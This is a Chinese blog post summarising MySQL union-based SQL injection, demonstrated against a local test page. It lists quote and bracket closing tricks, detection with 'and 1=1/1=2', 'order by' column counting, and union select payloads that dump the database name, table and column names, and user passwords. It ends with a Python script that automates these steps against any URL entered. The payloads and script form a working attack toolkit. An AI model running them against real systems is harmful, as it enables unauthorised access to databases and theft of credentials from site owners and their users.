mysql注入总结_mysql注入总结 - osc_wpg0dgym的个人空间 - OSCHINA - 中文开源技术交流社区...

前言:看玩mysql注入

做一篇总结然后去打GTA 5

正文:

mysql注入与access注入不一样。因为数据库的特性不一样

access注入的暴力注入

mysql是有逻辑性的注入

首先得判断是什么类型,然后尝寻找注入点

9e709ad3ac76d4f3f9e8caa3bf1126bb.gif

select * from tables where id=$id; #这种情况下,$id变量多为数字型 不需要闭合符号,可以直接注入,但如果系统做了只能传入数字型的判断,就无法注入

select * from tables where id='$id'; #这种情况下,$id变量多为字符型 需要闭合单引号,可以用?id=1'这种形式闭合

select * from tables where id="$id"; #这种情况下,$id变量多为字符型 需要闭合双引号,可以用?id=1"这种形式闭合

select * from tables where id=($id); #这种情况下,$id变量多为数字型 需要闭合括号,可以用?id=1)这种形式闭合

select * from tables where id=('$id'); #这种情况下,$id变量多为字符型 需要同时闭合单引号和括号,可以用?id=1')这种形式闭合

select * from tables where id=("$id"); #这种情况下,$id变量多为字符型 需要同时闭合双引号和括号,可以用?id=1")这种形式闭合

select * from tables where id=(('$id')); #这种情况下,$id变量多为字符型 需要同时闭合单引号和两层括号,可以用?id=1'))这种形式闭合

有些语句还有limit子句,如select * from tables where id='$id' limit 0,1;,我们可以通过上面提到的方法先闭合单引号,然后用%23,即注释符注释掉后面的语句,具体写法如下:?id=1'%23;即可闭合输出正确的语句

*注:这里只列举几种常见的写法,可以结合实际情况,进行闭合符号,没有什么固定的方式,但最终达到一个目的就好了,就是闭合语句中可能有的符号,注释掉我们不需要或者可能会限制我们继续注入的部分。使得我们注入这些闭合原有语句的符号后,得到的语句还是正确并且可被执行的。

寻找注入点:

例子: 例子是数字型就不用闭合了

127.0.0.1/sqlin.php?x=1' 如果返回报错,则代表又注入点。

2fcedba2897b8a6c5786f49ce556232c.png

4025768

127.0.0.1/sqlin.php?x=1 and 1=1 页面返回正常 127.0.0.1/sqlin.php?and 1=2 页面返回错误存在注入点

猜字段长度

127.0.0.1/sqlin.php?x=1 order by 1

127.0.0.1/sqlin.php?x=1 order by 2

127.0.0.1/sqlin.php?x=1 order by 3 直到错误的前一个页面

e57316f0927d1492546e940b2b48b8b1.png

4025768

暴显位

127.0.0.1/sqlin.php?x=1 union select 1,2,3 然后会给出位置

5874ca5428006c8548c3ac13cf409b84.png

4025768

暴数据库和版本号

127.0.0.1/sqlin.php?x=1 union select 1,database(),version()

4025768

74312d90ef928a3fadafeed8c7bf49d3.png

然后爆出指定数据库下的所有表名

获取所有表:infomatation_scheam.tables

指定表名:table_scheam=数据库的Hex编码

数据库名:table_name 用在第一个位

语句:union select table_name,2,3 from information_scheam.tables where table_schema=数据库名转成Hex编码的

http://127.0.0.1/sqlin.php?x=1%20union%20select%20table_name,2,3%20from%20information_schema.tables%20where%20table_schema=0x64767761

6199207f4fc4acb3db9365b5aaec7c9e.png

4025768

如果不加table_scheam指定数据库的话,直接informatation_scheam.tables。会爆出所有表名

76d3d24a794960957f7a5993714a06ca.png

4025768

爆列名

union select column_name,2,3 from information_schema.columns

61223a1850f87909df78a54247fa9b2b.png

4025768

爆指定的列名

union select column_name,2,3 from information_schema.columns where table_name=指定字段的Hex编码

62483f582e9ba2d84d7b1299c44415cc.png

4025768

读取指定列内容

union select 你指定的列名 from 你指定的表名

ccc27d2b37c20e8a32a7b319c1d247ab.png

例子:

union select username,password from user

4025768

------------------------

python构造sql注入脚本

import requests

def ljw():

global url,rse,headers

url=input('请输入你要进行测试的url:')

a='%20and%201=1'

al=url+a

b='%20and%201=2'

bl=url+b

headers={'User-Agent':'Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.221 Safari/537.36 SE 2.X MetaSr 1.0'}

rse=requests.get(url,headers=headers).content

and1=requests.get(al,headers=headers).content

and2=requests.get(bl,headers=headers).content

print(al)

print(bl)

if rse==and1 and rse!=and2:

print('[+]存在SQL注入')

else:

print('[-]不存在sql注入')

exit()

ljw()

def order():

global gww

for i in range(1,100):

usdw='%20order%20by%20{}'.format(i)

wge=url+usdw

wtq=requests.get(wge,headers=headers).content

look=requests.get(url,headers=headers).text

if wtq!=look:

lps=usdw[16]

gww=int(lps)-1

livs=usdw.replace(usdw[16],str(gww))

print('[+]字段长度为',gww)

print('[+]字段长度:',url+livs)

break

order()

def xwei():

global xc,fgk

ofw=gww+1

wtws=range(1,ofw)

owg=list(wtws)

pot=",".join(str(i)for i in owg)

xc='%20union%20select%20{}'.format(pot)

fgk=url+xc

print('[+]爆显位')

opr=requests.get(fgk,headers=headers)

print('[+]Http状态码:',opr.status_code)

print('[+]请读取显位:',opr.url)

xwei()

def huoqu():

liwd=input('请输入显位的位置:')

liwd2=input('请输入第二个显位的位置或跳过:')

print('database() 获取数据库名')

print('version() 获取数据库版本')

gsc=input('请输入要获取的函数:')

gsc2=input('请输入你要获取的函数:')

hw=xc.replace('%20',' ')

posw=hw.replace(liwd,gsc)

lk=posw.replace(liwd2,gsc2)

gwd=lk.replace(' ','%20')

usc=url+gwd

kiv=requests.get(usc,headers=headers)

print('[+]状态码:',kiv.status_code)

print('[+]获取的数据:',kiv.url)

huoqu()

def htbale():

print('爆数据库下所有的表')

wdf=fgk.replace('1','table_name')

ko=wdf+'%20from%20information_schema.tables'

dw=requests.get(ko,headers=headers)

print('[+]状态码:',dw.status_code)

print('[+]获取所有表的:',dw.url)

htbale()

def lisrw():

print('[+]爆出所有列')

wdf=fgk.replace('1','%20column_name')

gw=wdf+'%20from%20information_schema.columns'

sdw=requests.get(gw,headers=headers)

print('[+]状态码:',sdw.status_code)

print('[+]所有列的:',sdw.url)

lisrw()

运行图:

ec90979f516f0564af33f20feac850ea.png

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值